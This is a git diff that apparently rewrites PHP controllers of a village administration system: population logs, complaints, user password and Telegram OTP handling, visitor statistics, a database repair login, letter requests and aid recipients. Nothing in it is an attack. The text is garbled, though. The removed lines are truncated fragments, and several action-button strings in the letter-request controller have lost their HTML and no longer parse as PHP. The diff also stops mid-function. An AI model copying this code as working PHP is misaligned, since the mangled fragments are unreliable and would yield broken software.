['filter_tahun', 'filter_bulan', 'kode_peristiwa', 'status_dasar', 'sex', 'agama', 'dusun', 'rw', 'rt', 'cari']; + } + + public function clear() + { + $this->session->unset_userdata($this->list_session); + $this->session->filter_bulan = date('n'); + $this->session->filter_tahun = date('Y'); + $this->session->per_page = 20; + + redirect($this->controller); + } + + public function index($p = 1, $o = 0) + { + $data['p'] = $p; + $data['o'] = $o; + + foreach ($this->list_session as $list) { + if (in_array($list, ['dusun', 'rw', 'rt'])) { + ${$list} = $this->session->{$list}; + } else { + $data[$list] = $this->session->{$list} ?: ''; + } + } + + if (isset($dusun)) { + $data['dusun'] = $dusun; + $data['list_rw'] = $this->wilayah_model->list_rw($dusun); + + if (isset($rw)) { + $data['rw'] = $rw; + $data['list_rt'] = $this->wilayah_model->list_rt($dusun, $rw); + + if (isset($rt)) { + $data['rt'] = $rt; + } else { + $data['rt'] = ''; + } + } else { + $data['rw'] = ''; + } + } else { + $data['dusun'] = $data['rw'] = $data['rt'] = ''; + } + $data['tahun'] = $this->session->filter_tahun; + $data['bulan'] = $this->session->filter_bulan; + + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data['func'] = 'index'; + $data['per_page'] = $this->session->per_page; + $data['set_page'] = $this->set_page; + $data['paging'] = $this->penduduk_log_model->paging($p, $o); + $data['main'] = $this->penduduk_log_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->penduduk_model->autocomplete(); + $data['tahun_log_pertama'] = $this->penduduk_log_model->tahun_log_pertama(); + $data['list_jenis_peristiwa'] = $this->referensi_model->list_data('ref_peristiwa'); + $data['list_sex'] = $this->referensi_model->list_data('tweb_penduduk_sex'); + $data['list_agama'] = $this->referensi_model->list_data('tweb_penduduk_agama'); + $data['list_dusun'] = $this->wilayah_model->list_dusun(); + + $this->render('penduduk_log/penduduk_log', $data); + } + + public function filter($filter) + { + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + + redirect($this->controller); + } + + public function dusun() + { + $this->session->unset_userdata(['rw', 'rt']); + $dusun = $this->input->post('dusun'); + if ($dusun != '') { + $this->session->dusun = $dusun; + } else { + $this->session->unset_userdata('dusun'); + } + + redirect($this->controller); + } + + public function rw() + { + $this->session->unset_userdata('rt'); + $rw = $this->input->post('rw'); + if ($rw != '') { + $this->session->rw = $rw; + } else { + $this->session->unset_userdata('rw'); + } + + redirect($this->controller); + } + + public function rt() + { + $rt = $this->input->post('rt'); + if ($rt != '') { + $this->session->rt = $rt; + } else { + $this->session->unset_userdata('rt'); + } + + redirect($this->controller); + } + + public function tahun_bulan() + { + if ($bln = $this->input->post('bulan')) { + $this->session->filter_bulan = $bln; + } else { + $this->session->unset_userdata('filter_bulan'); + } + if ($thn = $this->input->post('tahun')) { + $this->session->filter_tahun = $thn; + } else { + // Kalau tidak tentukan tahun, tampilkan semua + $this->session->unset_userdata('filter_tahun'); + $this->session->unset_userdata('filter_bulan'); + } + + redirect($this->controller); + } + + public function edit($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $data['log_status_dasar'] = $this->penduduk_log_model->get_log($id) ?? show_404(); + $data['list_ref_pindah'] = $this->referensi_model->list_data('ref_pindah'); + $data['sebab'] = $this->referensi_model->list_ref(SEBAB); + $data['penolong_mati'] = $this->referensi_model->list_ref(PENOLONG_MATI); + $data['form_action'] = site_url("{$this->controller}/update/{$p}/{$o}/{$id}"); + + $this->load->view('penduduk_log/ajax_edit', $data); + } + + public function update($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $this->penduduk_log_model->update($id); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function kembalikan_status($id_log) + { + $this->redirect_hak_akses('u'); + unset($_SESSION['success']); + $this->penduduk_log_model->kembalikan_status($id_log); + + redirect($this->controller); + } + + public function ajax_kembalikan_status_pergi($id = 0) + { + $this->redirect_hak_akses('u'); + $data['nik'] = $this->penduduk_model->get_penduduk($id); + $data['form_action'] = site_url("{$this->controller}/kembalikan_status_pergi/{$id}"); + + $this->load->view('sid/kependudukan/ajax_edit_status_dasar_pergi', $data); + } + + public function kembalikan_status_pergi($id_log = 0) + { + $this->redirect_hak_akses('u'); + unset($_SESSION['success']); + $this->penduduk_log_model->kembalikan_status_pergi($id_log); + + redirect($this->controller); + } + + public function kembalikan_status_all() + { + $this->redirect_hak_akses('u'); + $this->penduduk_log_model->kembalikan_status_all(); + + redirect($this->controller); + } + + public function cetak($o = 0, $aksi = '', $privasi_nik = 0) + { + $data['main'] = $this->penduduk_log_model->list_data($o, 0); + if ($privasi_nik == 1) { + $data['privasi_nik'] = true; + } + + $this->load->view("penduduk_log/penduduk_log_{$aksi}", $data); + } + + public function ajax_cetak($o = 0, $aksi = '') + { + $data['o'] = $o; + $data['aksi'] = $aksi; + $data['form_action'] = site_url("{$this->controller}/cetak/{$o}/{$aksi}"); + $data['form_action_privasi'] = site_url("{$this->controller}/cetak/{$o}/{$aksi}/1"); + + $this->load->view('sid/kependudukan/ajax_cetak_bersama', $data); + } +} diff --git a/donjo-app/controllers/Pengaduan_admin.php b/donjo-app/controllers/Pengaduan_admin.php index 556420b48..32e7fd2e7 100644 --- a/donjo-app/controllers/Pengaduan_admin.php +++ b/donjo-app/controllers/Pengaduan_admin.php @@ -1,537 +1,147 @@ -modul_ini = 'pengaduan'; + $this->load->model('pengaduan_model'); + } + + public function index() + { + $data['allstatus'] = $this->pengaduan_model->get_data()->count_all_results(); + $data['status1'] = $this->pengaduan_model->get_data('1')->count_all_results(); + $data['status2'] = $this->pengaduan_model->get_data('2')->count_all_results(); + $data['status3'] = $this->pengaduan_model->get_data('3')->count_all_results(); + + $data['m_allstatus'] = $this->pengaduan_model->get_data_month()->count_all_results(); + $data['m_status1'] = $this->pengaduan_model->get_data_month('1')->count_all_results(); + $data['m_status2'] = $this->pengaduan_model->get_data_month('2')->count_all_results(); + $data['m_status3'] = $this->pengaduan_model->get_data_month('3')->count_all_results(); + + if ($this->input->is_ajax_request()) { + $start = $this->input->post('start'); + $length = $this->input->post('length'); + $search = $this->input->post('search[value]'); + $order = $this->pengaduan_model::ORDER_ABLE_PENGADUAN[$this->input->post('order[0][column]')]; + $dir = $this->input->post('order[0][dir]'); + $status = $this->input->post('status'); + + return json([ + 'draw' => $this->input->post('draw'), + 'recordsTotal' => $this->pengaduan_model->get_pengaduan_a('', $status)->count_all_results(), + 'recordsFiltered' => $this->pengaduan_model->get_pengaduan_a($search, $status)->count_all_results(), + 'data' => $this->pengaduan_model->get_pengaduan_a($search, $status)->order_by($order, $dir)->limit($length, $start)->get()->result(), + ]); + } + + $this->render('pengaduan_admin/index', $data); + } + + public function kirim($id) + { + $this->redirect_hak_akses('u'); + $this->pengaduan_model->m_insert($id); + + redirect($this->controller); + } + + public function pengaduan_form($id = '') + { + $this->redirect_hak_akses('u'); + + if ($id) { + $data['main'] = $this->pengaduan_model->pengaduan_detail($id) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/kirim/{$id}"); + } + + $this->load->view('pengaduan_admin/modal_form', $data); + } + + public function pengaduan_form_detail($id = '') + { + if ($id) { + $data['pengaduana'] = $this->pengaduan_model->pengaduan_detailna($id) ?? show_404(); + } + + $this->load->view('pengaduan_admin/modal_detail', $data); + } + + public function pengaduan_insert() + { + $this->redirect_hak_akses('u'); + $this->pengaduan_model->pengaduan_insert(); + + redirect($this->controller); + } + + public function pengaduan_update($id = '') + { + $this->redirect_hak_akses('u'); + $this->pengaduan_model->pengaduan_update($id); + redirect($this->controller); + } + + public function pengaduan_delete($id) + { + $this->redirect_hak_akses('h'); + $this->pengaduan_model->pengaduan_delete($id); + + redirect($this->controller); + } + + public function pengaduan_delete_all() + { + $this->redirect_hak_akses('h'); + $this->pengaduan_model->pengaduan_delete_all(); + + redirect($this->controller); + } + + public function pengaduan_status($id = 0, $status = 0) + { + $this->redirect_hak_akses('u'); + $this->pengaduan_model->status('produk_pengaduan', $id, $status); + + redirect($this->controller); + } +} diff --git a/donjo-app/controllers/Pengguna.php b/donjo-app/controllers/Pengguna.php index 0cd4a7362..22f0eabc4 100644 --- a/donjo-app/controllers/Pengguna.php +++ b/donjo-app/controllers/Pengguna.php @@ -1,481 +1,322 @@ -lang->load('passwords'); + $this->load->library('Reset/Password', '', 'password'); + $this->load->library('OTP/OTP_manager', null, 'otp_library'); + $this->load->model('user_model'); + } + + public function index() + { + $userData = User::findOrFail(auth()->id); + + return view('admin.pengguna.index', [ + 'form_action' => 'pengguna/update', + 'password_action' => 'pengguna/update_password', + 'userData' => $userData, + ]); + } + + public function update() + { + $data = User::findOrFail(auth()->id); + $newData = $this->validate($this->request); + if ($data->email != $newData['email']) { + $newData['email_verified_at'] = null; + } + if ($data->id_telegram != $newData['id_telegram']) { + $newData['telegram_verified_at'] = null; + } + + if ($data->update($newData)) { + $this->session->isAdmin = $data; + redirect_with('success', 'Berhasil Ubah Data'); + } + + redirect_with('error', 'Gagal Ubah Data'); + } + + private function validate($request = []) + { + return [ + 'nama' => nama($request['nama']), + 'email' => email($request['email']), + 'notif_telegram' => (int) $request['notif_telegram'], + 'id_telegram' => alfanumerik(empty($request['id_telegram']) ? 0 : $request['id_telegram']), + 'foto' => $this->user_model->urusFoto(Auth()->id), + ]; + } + + public function update_password($request = []) + { + $user = $this->validate_password($this->request); + + if ($user['status']) { + $this->session->force_change_password = false; + redirect_with('success', $user['pesan']); + } + + redirect_with('error', $user['pesan']); + } + + private function validate_password($request = []) + { + $pass_lama = $request['pass_lama']; + $pass_baru = $request['pass_baru']; + $pass_baru1 = $request['pass_baru1']; + $pwMasihMD5 = (strlen(auth()->password) == 32) && (stripos(auth()->password, '$') === false) ? true : false; + + switch (true) { + case empty($pass_lama) || empty($pass_baru) || empty($pass_baru1): + $respon = [ + 'status' => false, + 'pesan' => 'Sandi gagal diganti, Sandi tidak boleh kosong.', + ]; + break; + + case ! preg_match('/^(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[^a-zA-Z0-9])(?!.*\s).{8,20}$/', $pass_baru): + $respon = [ + 'status' => false, + 'pesan' => 'Sandi gagal diganti, Sandi Baru harus 8 sampai 20 karakter dan sekurangnya berisi satu angka dan satu huruf besar dan satu huruf kecil dan satu karakter khusus.', + ]; + break; + + case $pwMasihMD5 && (md5($pass_lama) != auth()->password): + $respon = [ + 'status' => false, + 'pesan' => 'Sandi gagal diganti, Sandi Lama yang anda masukkan tidak sesuai.', + ]; + break; + + case ! $pwMasihMD5 && (password_verify($pass_lama, auth()->password) === false): + $respon = [ + 'status' => false, + 'pesan' => 'Sandi gagal diganti, Sandi Lama yang anda masukkan tidak sesuai.', + ]; + break; + + case $pass_baru == $pass_lama: + $respon = [ + 'status' => false, + 'pesan' => 'Sandi gagal diganti, Silahkan ganti Sandi Lama anda dengan Sandi Baru.', + ]; + break; + + case $pass_baru != $pass_baru1: + $respon = [ + 'status' => false, + 'pesan' => 'Sandi gagal diganti, Sandi Baru dan Sandi Baru (Ulangi) tidak sama.', + ]; + break; + + default: + $user = User::findOrFail(auth()->id); + $user->password = generatePasswordHash($pass_baru); + + if ($user->update()) { + $this->session->isAdmin = $user; + $respon = [ + 'status' => true, + 'pesan' => 'Sandi berhasil diganti.', + ]; + } else { + $respon = [ + 'status' => false, + 'pesan' => 'Sandi gagal diganti.', + ]; + } + } + + return $respon; + } + + public function kirim_verifikasi() + { + $user = $this->db->where('id', $this->session->user)->get('user')->row(); + + if ($user->email_verified_at !== null) { + $this->session->success = 1; + + redirect('pengguna'); + } + + try { + $status = $this->password->driver('email')->sendVerifyLink([ + 'email' => $user->email, + ]); + } catch (\Exception $e) { + log_message('error', $e); + + $this->session->success = -1; + $this->session->error_msg = 'Tidak berhasil mengirim verifikasi email'; + + redirect('pengguna'); + } + + if ($status === 'verify') { + $this->session->success = 6; + } else { + $this->session->success = -1; + $this->session->error_msg = lang($status); + } + + redirect('pengguna'); + } + + public function kirim_otp_telegram() + { + // cek telegram sudah pernah terpakai atau belum + $id_telegram = (int) $this->input->post('id_telegram'); + if (User::where('id_telegram', '=', $id_telegram)->where('id', '!=', $this->session->user)->exists()) { + return json([ + 'status' => false, + 'message' => 'Id telegram harus unik', + ]); + } + + try { + $user = User::find($this->session->user); + $token = hash('sha256', $raw_token = mt_rand(100000, 999999)); + + $user->id_telegram = $id_telegram; + $user->token = $token; + $user->token_exp = date('Y-m-d H:i:s', strtotime(date('Y-m-d H:i:s') . ' +5 minutes')); + $user->save(); + + $this->otp_library->driver('telegram')->kirim_otp($user->id_telegram, $raw_token); + + return json([ + 'status' => true, + 'message' => 'sucess', + 'data' => $id_telegram, + ]); + } catch (Exception $e) { + return json([ + 'status' => false, + 'messages' => $e->getMessage(), + ]); + } + } + + public function verifikasi_telegram() + { + $otp = $this->input->post('otp'); + $id_telegram = $this->input->post('id_telegram'); + if ($otp == '') { + return json([ + 'status' => false, + 'message' => 'kode otp kosong', + ]); + } + + $verifikasi_otp = User::where('id', '=', $this->session->user) + ->where('id_telegram', '=', $id_telegram) + ->where('token_exp', '>', date('Y-m-d H:i:s')) + ->where('token', '=', hash('sha256', $otp)) + ->first(); + + if ($verifikasi_otp == null) { + return json([ + 'status' => false, + 'message' => 'kode otp Salah', + ]); + } + + $verifikasi_otp->telegram_verified_at = date('Y-m-d H:i:s'); + $verifikasi_otp->save(); + $this->session->isAdmin->telegram_verified_at = date('Y-m-d H:i:s'); + $this->session->isAdmin->id_telegram = $id_telegram; + + return json([ + 'status' => true, + 'message' => 'Verifikasi berhasil', + ]); + } + + public function verifikasi(string $hash) + { + $user = $this->db->where('id', $this->session->user)->get('user')->row(); + + if ($user->email_verified_at !== null) { + $this->session->success = 1; + + redirect('pengguna'); + } + + // Check if hash equal with current user email. + if (! hash_equals($hash, sha1($user->email))) { + $this->session->success = -1; + $this->session->error_msg = lang('token'); + + redirect('pengguna'); + } + + $signature = hash_hmac('sha256', $user->email, config_item('encryption_key')); + + // Check signature key + if (! hash_equals($signature, $this->input->get('signature'))) { + $this->session->success = -1; + $this->session->error_msg = lang('token'); + + redirect('pengguna'); + } + + // Check for token if expired + if ($this->input->get('expires') < strtotime(date('Y-m-d H:i:s'))) { + $this->session->success = -1; + $this->session->error_msg = lang('expired'); + + redirect('pengguna'); + } + + $this->db->where('id', $this->session->user)->update('user', ['email_verified_at' => date('Y-m-d H:i:s')]); + + $this->session->success = 1; + + redirect('pengguna'); + } +} diff --git a/donjo-app/controllers/Pengunjung.php b/donjo-app/controllers/Pengunjung.php index cbeac967e..10a03c197 100644 --- a/donjo-app/controllers/Pengunjung.php +++ b/donjo-app/controllers/Pengunjung.php @@ -1,497 +1,92 @@ -load->model('statistik_pengunjung_model'); + $this->modul_ini = 'admin-web'; + $this->sub_modul_ini = 'pengunjung'; + } + + public function index() + { + $data['hari_ini'] = $this->statistik_pengunjung_model->get_pengunjung_total('1'); + $data['kemarin'] = $this->statistik_pengunjung_model->get_pengunjung_total('2'); + $data['minggu_ini'] = $this->statistik_pengunjung_model->get_pengunjung_total('3'); + $data['bulan_ini'] = $this->statistik_pengunjung_model->get_pengunjung_total('4'); + $data['tahun_ini'] = $this->statistik_pengunjung_model->get_pengunjung_total('5'); + $data['jumlah'] = $this->statistik_pengunjung_model->get_pengunjung_total(null); + $data['main'] = $this->statistik_pengunjung_model->get_pengunjung($this->session->id); + + $this->render('pengunjung/table', $data); + } + + public function detail($id = null) + { + $this->session->set_userdata('id', $id); + + redirect('pengunjung'); + } + + public function clear() + { + $this->session->unset_userdata('id'); + + redirect('pengunjung'); + } + + public function cetak() + { + $data['config'] = $this->header['desa']; + $data['main'] = $this->statistik_pengunjung_model->get_pengunjung($this->session->id); + $this->load->view('pengunjung/print', $data); + } + + public function unduh() + { + $data['aksi'] = 'unduh'; + $data['config'] = $this->header['desa']; + $data['filename'] = underscore('Laporan Data Statistik Pengunjung Website'); + $data['main'] = $this->statistik_pengunjung_model->get_pengunjung($this->session->id); + $this->load->view('pengunjung/excel', $data); + } +} diff --git a/donjo-app/controllers/Periksa.php b/donjo-app/controllers/Periksa.php index b91c2eb62..fa4418cf0 100644 --- a/donjo-app/controllers/Periksa.php +++ b/donjo-app/controllers/Periksa.php @@ -1,473 +1,140 @@ -session->db_error['code'] === 1049) { + redirect('koneksi-database'); + } + + $this->load->model(['periksa_model', 'user_model']); + $this->header = Config::appKey()->first(); + $this->latar_login = default_file(LATAR_LOGIN . $this->periksa_model->getSetting('latar_login'), DEFAULT_LATAR_SITEMAN); + } + + public function index() + { + if ($this->session->periksa_data != 1) { + redirect('periksa/login'); + } + + if ($this->session->message_query || $this->session->message_exception) { + log_message('error', $this->session->message_query); + log_message('error', $this->session->message_exception); + } + + return view('periksa.index', array_merge($this->periksa_model->periksa, ['header' => $this->header])); + } + + public function perbaiki() + { + if ($this->session->periksa_data != 1) { + redirect('periksa/login'); + } + $this->periksa_model->perbaiki(); + $this->session->unset_userdata(['db_error', 'message', 'message_query', 'heading', 'message_exception']); + + redirect('/'); + } + + public function perbaiki_sebagian($masalah) + { + if ($this->session->periksa_data != 1) { + redirect('periksa/login'); + } + $this->periksa_model->perbaiki_sebagian($masalah); + $this->session->unset_userdata(['db_error', 'message', 'message_query', 'heading', 'message_exception']); + + redirect('/'); + } + + // Login khusus untuk periksa + public function login() + { + if ($this->session->periksa_data == 1) { + redirect('periksa'); + } + + $this->session->siteman_wait = 0; + $data = [ + 'header' => $this->header, + 'form_action' => site_url('periksa/auth'), + 'latar_login' => $this->latar_login, + ]; + + $this->setting->sebutan_desa = $this->periksa_model->getSetting('sebutan_desa'); + $this->setting->sebutan_kabupaten = $this->periksa_model->getSetting('sebutan_kabupaten'); + $this->load->view('siteman', $data); + } + + // Login khusus untuk periksa + public function auth() + { + $method = $this->input->method(true); + $allow_method = ['POST']; + if (! in_array($method, $allow_method)) { + redirect('periksa/login'); + } + $this->user_model->siteman(); + + if ($this->session->siteman != 1) { + // Gagal otentifikasi atau bukan admin + redirect('periksa'); + } + + if ($this->session->grup != UserGrup::getGrupId(UserGrup::ADMINISTRATOR)) { + // Bukan admin + $this->user_model->logout(); + redirect('periksa'); + } + + // Bedakan dengan status login biasa supaya dipaksa login lagi setelah selesai perbaiki data + $this->session->periksa_data = 1; + redirect('periksa'); + } +} diff --git a/donjo-app/controllers/Permohonan_surat_admin.php b/donjo-app/controllers/Permohonan_surat_admin.php index 9bcaec0b9..4595d70f3 100644 --- a/donjo-app/controllers/Permohonan_surat_admin.php +++ b/donjo-app/controllers/Permohonan_surat_admin.php @@ -1,593 +1,229 @@ -load->model(['permohonan_surat_model', 'penduduk_model', 'surat_model', 'keluarga_model', 'mailbox_model', 'surat_master_model']); + $this->modul_ini = 'layanan-surat'; + $this->sub_modul_ini = 'permohonan-surat'; + } + + public function index() + { + return view('admin.permohonan_surat.index', [ + 'list_status_permohonan' => $this->referensi_model->list_ref_flip(STATUS_PERMOHONAN), + ]); + } + + public function datatables() + { + if ($this->input->is_ajax_request()) { + return datatables(PermohonanSurat::query()) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + $aksi = ''; + + if (can('u')) { + if ($row->status == PermohonanSurat::BELUM_LENGKAP) { + $aksi .= ' ' . PermohonanSurat::STATUS_PERMOHONAN[PermohonanSurat::BELUM_LENGKAP] . ' '; + } elseif ($row->status == PermohonanSurat::SEDANG_DIPERIKSA) { + $aksi .= '' . PermohonanSurat::STATUS_PERMOHONAN[PermohonanSurat::SEDANG_DIPERIKSA] . ' '; + } elseif ($row->status == PermohonanSurat::MENUNGGU_TANDA_TANGAN) { + if (in_array($row->surat->jenis, FormatSurat::TINYMCE) && (setting('verifikasi_sekdes') || setting('verifikasi_kades'))) { + $aksi .= '' . PermohonanSurat::STATUS_PERMOHONAN[PermohonanSurat::MENUNGGU_TANDA_TANGAN] . ' '; + } else { + $aksi .= 'id}/3") . '" class="btn btn-social bg-purple btn-flat btn-sm" title="Surat Menunggu Tandatangan" style="width: 170px">' . PermohonanSurat::STATUS_PERMOHONAN[PermohonanSurat::MENUNGGU_TANDA_TANGAN] . ' '; + } + } elseif ($row->status == PermohonanSurat::SIAP_DIAMBIL) { + $aksi .= 'id}/4") . '" class="btn btn-social bg-orange btn-flat btn-sm pesan-hover" title="Klik jika telah diambil" style="width: 170px">' . PermohonanSurat::STATUS_PERMOHONAN[PermohonanSurat::SIAP_DIAMBIL] . ' '; + } elseif ($row->status == PermohonanSurat::SUDAH_DIAMBIL) { + $aksi .= '' . PermohonanSurat::STATUS_PERMOHONAN[PermohonanSurat::SUDAH_DIAMBIL] . ' '; + } else { + $aksi .= '' . PermohonanSurat::STATUS_PERMOHONAN[PermohonanSurat::DIBATALKAN] . ' '; + } + } + + return $aksi; + }) + ->editColumn('no_antrian', static function ($row) { + return get_antrian($row->no_antrian); + }) + ->editColumn('created_at', static function ($row) { + return tgl_indo2($row->created_at); + }) + ->rawColumns(['aksi']) + ->make(); + } + + return show_404(); + } + + public function periksa($id = '') + { + // Cek hanya status = 1 (sedang diperiksa) yg boleh di proses + $periksa = PermohonanSurat::whereStatus(PermohonanSurat::SEDANG_DIPERIKSA)->findOrFail($id); + + if (! $id || ! $periksa) { + redirect('permohonan_surat_admin'); + } + $url = $periksa->surat->url_surat; + + $data['periksa'] = $periksa; + $data['surat'] = $periksa->surat; + $data['url'] = $url; + $data['list_dokumen'] = $this->penduduk_model->list_dokumen($periksa->id_pemohon); + $data['individu'] = $this->surat_model->get_penduduk($periksa->id_pemohon); + + $this->get_data_untuk_form($url, $data); + $data['isian_form'] = json_encode($this->ambil_isi_form($data['periksa']['isian_form'])); + $data['surat_url'] = rtrim($_SERVER['REQUEST_URI'], '/clear'); + $data['syarat_permohonan'] = $this->permohonan_surat_model->get_syarat_permohonan($id); + $data['form_action'] = site_url("surat/periksa_doc/{$id}/{$url}"); + $data['form_surat'] = 'surat/form_surat.php'; + + $data_form = $this->surat_model->get_data_form($url); + if (is_file($data_form)) { + include $data_form; + } + + if (in_array($data['surat']['jenis'], FormatSurat::TINYMCE)) { + $data['list_dokumen'] = empty($_POST['nik']) ? null : $this->penduduk_model->list_dokumen($data['individu']['id']); + $data['form_action'] = route("surat/pratinjau/{$url}/{$id}"); + $data['form_surat'] = 'surat/form_surat_tinymce.php'; + } + + $this->render('mandiri/periksa_surat', $data); + } + + public function proses($id = '', $status = '') + { + $this->permohonan_surat_model->proses($id, $status); + + redirect('permohonan_surat_admin'); + } + + // TODO:: Duplikasi dengan kode yang ada di donjo-app/controllers/Surat.php + private function get_data_untuk_form($url, &$data) + { + // RTF + if (in_array($data['surat']['jenis'], FormatSurat::RTF)) { + $data['config'] = $data['lokasi'] = $this->header['desa']; + $data['perempuan'] = $this->surat_model->list_penduduk_perempuan(); + $data['anggota'] = $this->keluarga_model->list_anggota($data['individu']['id_kk']); + } + + // Panggil 1 penduduk berdasarkan datanya sendiri + $data['penduduk'] = [$data['periksa']['penduduk']]; + + $data['surat_terakhir'] = $this->surat_model->get_last_nosurat_log($url); + $data['input'] = $this->input->post(); + $data['input']['nomor'] = $data['surat_terakhir']['no_surat_berikutnya']; + $data['format_nomor_surat'] = $this->penomoran_surat_model->format_penomoran_surat($data); + + $tinymce = new TinyMCE(); + $penandatangan = $tinymce->formPenandatangan(); + $data['pamong'] = $penandatangan['penandatangan']; + $data['atas_nama'] = $penandatangan['atas_nama']; + } + + private function ambil_isi_form($isian_form) + { + $hapus = ['url_surat', 'url_remote', 'nik', 'id_surat', 'nomor', 'pilih_atas_nama', 'pamong', 'pamong_nip', 'jabatan', 'pamong_id']; + + foreach ($hapus as $kolom) { + unset($isian_form[$kolom]); + } + + return $isian_form; + } + + public function konfirmasi($id_permohonan = 0, $tipe = 0) + { + $data['form_action'] = site_url("permohonan_surat_admin/kirim_pesan/{$id_permohonan}/{$tipe}"); + + $this->load->view('surat/form/konfirmasi_permohonan', $data); + } + + public function kirim_pesan($id_permohonan = 0, $tipe = 0) + { + $periksa = $this->permohonan_surat_model->get_permohonan(['id' => $id_permohonan, 'status' => 1]); + $pemohon = $this->surat_model->get_penduduk($periksa['id_pemohon']); + $post = $this->input->post(); + $judul = ($tipe == 0) ? 'Perlu Dilengkapi' : 'Dibatalkan'; + $data = [ + 'subjek' => 'Permohonan Surat ' . $surat['nama'] . ' ' . $judul, + 'komentar' => $post['pesan'], + 'owner' => $pemohon['nama'], // TODO : Gunakan id_pend + 'email' => $pemohon['nik'], // TODO : Gunakan id_pend + 'permohonan' => $id_permohonan, // Menyimpan id_permohonan untuk link + 'tipe' => 2, + 'status' => 2, + ]; + + $this->mailbox_model->insert($data); + $this->proses($id_permohonan, $tipe); + + redirect('permohonan_surat_admin'); + } + + public function tampilkan($id_dokumen, $id_pend = 0) + { + $this->load->model('Web_dokumen_model'); + $berkas = $this->web_dokumen_model->get_nama_berkas($id_dokumen, $id_pend); + + if (! $id_dokumen || ! $id_pend || ! $berkas || ! file_exists(LOKASI_DOKUMEN . $berkas)) { + $data['link_berkas'] = null; + } else { + $data = [ + 'link_berkas' => site_url("dokumen/tampilkan_berkas/{$id_dokumen}/{$id_pend}"), + 'tipe' => get_extension($berkas), + 'link_unduh' => site_url("dokumen/unduh_berkas/{$id_dokumen}/{$id_pend}"), + ]; + } + $this->load->view('global/tampilkan', $data); + } +} diff --git a/donjo-app/controllers/Peserta_bantuan.php b/donjo-app/controllers/Peserta_bantuan.php index 797e8c6fe..9212381f5 100644 --- a/donjo-app/controllers/Peserta_bantuan.php +++ b/donjo-app/controllers/Peserta_bantuan.php @@ -1,537 +1,217 @@ -_set_page = ['20', '50', '100']; + $this->modul_ini = 'bantuan'; + $this->sub_modul_ini = 'peserta-bantuan'; + + $this->load->model(['program_bantuan_model']); + } + + public function detail($program_id = 0, $p = 1) + { + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data['cari'] = $this->session->cari ?: ''; + $data['program'] = $this->program_bantuan_model->get_program($p, $program_id); + $data['keyword'] = $this->program_bantuan_model->autocomplete($program_id, $this->input->post('cari')); + $data['paging'] = $data['program'][0]['paging']; + $data['list_sasaran'] = SasaranEnum::all(); + $data['p'] = $p; + $data['func'] = "detail/{$program_id}"; + $data['per_page'] = $this->session->per_page; + $data['set_page'] = $this->_set_page; + $data['nama_excerpt'] = Str::limit($data['program'][0]['nama'], 25); + + $this->render('program_bantuan/detail', $data); + } + + public function form($program_id = 0) + { + $this->redirect_hak_akses('u'); + $this->session->unset_userdata('cari'); + $data['program'] = $this->program_bantuan_model->get_program(1, $program_id); + $sasaran = $data['program'][0]['sasaran']; + $nik = $this->input->post('nik'); + + if (isset($nik)) { + $data['individu'] = $this->program_bantuan_model->get_peserta($nik, $sasaran); + $data['individu']['program'] = $this->program_bantuan_model->get_peserta_program($sasaran, $data['individu']['id_peserta']); + } else { + $data['individu'] = null; + } + + $data['form_action'] = site_url('peserta_bantuan/add_peserta/' . $program_id); + $data['list_sasaran'] = SasaranEnum::all(); + + $this->render('program_bantuan/form', $data); + } + + // $id = program_peserta.id + public function peserta($cat = 0, $id = 0) + { + $data = $this->program_bantuan_model->get_peserta_program($cat, $id); + + $this->render('program_bantuan/peserta', $data); + } + + // $id = program_peserta.id + public function data_peserta($id = 0) + { + $data['peserta'] = $this->program_bantuan_model->get_program_peserta_by_id($id); + + switch ($data['peserta']['sasaran']) { + case '1': + case '2': + $peserta_id = $data['peserta']['kartu_id_pend']; + break; + + case '3': + case '4': + $peserta_id = $data['peserta']['peserta']; + break; + } + $data['individu'] = $this->program_bantuan_model->get_peserta($peserta_id, $data['peserta']['sasaran']); + $data['individu']['program'] = $this->program_bantuan_model->get_peserta_program($data['peserta']['sasaran'], $data['peserta']['peserta']); + $data['detail'] = $this->program_bantuan_model->get_data_program($data['peserta']['program_id']); + + $this->render('program_bantuan/data_peserta', $data); + } + + public function add_peserta($program_id = 0) + { + $this->redirect_hak_akses('u'); + + $cek = BantuanPeserta::where('program_id', $program_id)->where('kartu_id_pend', $this->input->post('kartu_id_pend'))->first(); + + if ($cek) { + $this->session->success = -2; + } else { + $this->program_bantuan_model->add_peserta($program_id); + } + + $redirect = ($this->session->userdata('aksi') != 1) ? $_SERVER['HTTP_REFERER'] : "peserta_bantuan/detail/{$program_id}"; + + $this->session->unset_userdata('aksi'); + + redirect($redirect); + } + + // $id = program_peserta.id + public function edit_peserta($id = 0) + { + $this->redirect_hak_akses('u'); + $this->program_bantuan_model->edit_peserta($id); + $program_id = $this->input->post('program_id'); + + redirect("peserta_bantuan/detail/{$program_id}"); + } + + // $id = program_peserta.id + public function edit_peserta_form($id = 0) + { + $this->redirect_hak_akses('u'); + + $data = $this->program_bantuan_model->get_program_peserta_by_id($id) ?? show_404(); + $data['form_action'] = site_url("peserta_bantuan/edit_peserta/{$id}"); + $this->load->view('program_bantuan/edit_peserta', $data); + } + + public function hapus_peserta($program_id = 0, $peserta_id = '') + { + $this->redirect_hak_akses('h'); + $this->program_bantuan_model->hapus_peserta($peserta_id); + + redirect("peserta_bantuan/detail/{$program_id}"); + } + + public function aksi($aksi = '', $program_id = 0) + { + $this->redirect_hak_akses('u'); + $this->session->set_userdata('aksi', $aksi); + + redirect("peserta_bantuan/form/{$program_id}"); + } + + public function delete_all($program_id = 0) + { + $this->redirect_hak_akses('h'); + $this->program_bantuan_model->delete_all(); + + redirect("peserta_bantuan/detail/{$program_id}"); + } + + // $aksi = cetak/unduh + public function daftar($program_id = 0, $aksi = '') + { + if ($program_id > 0) { + $temp = $this->session->per_page; + $this->session->per_page = 1000000000; // Angka besar supaya semua data terunduh + $data['sasaran'] = unserialize(SASARAN); + 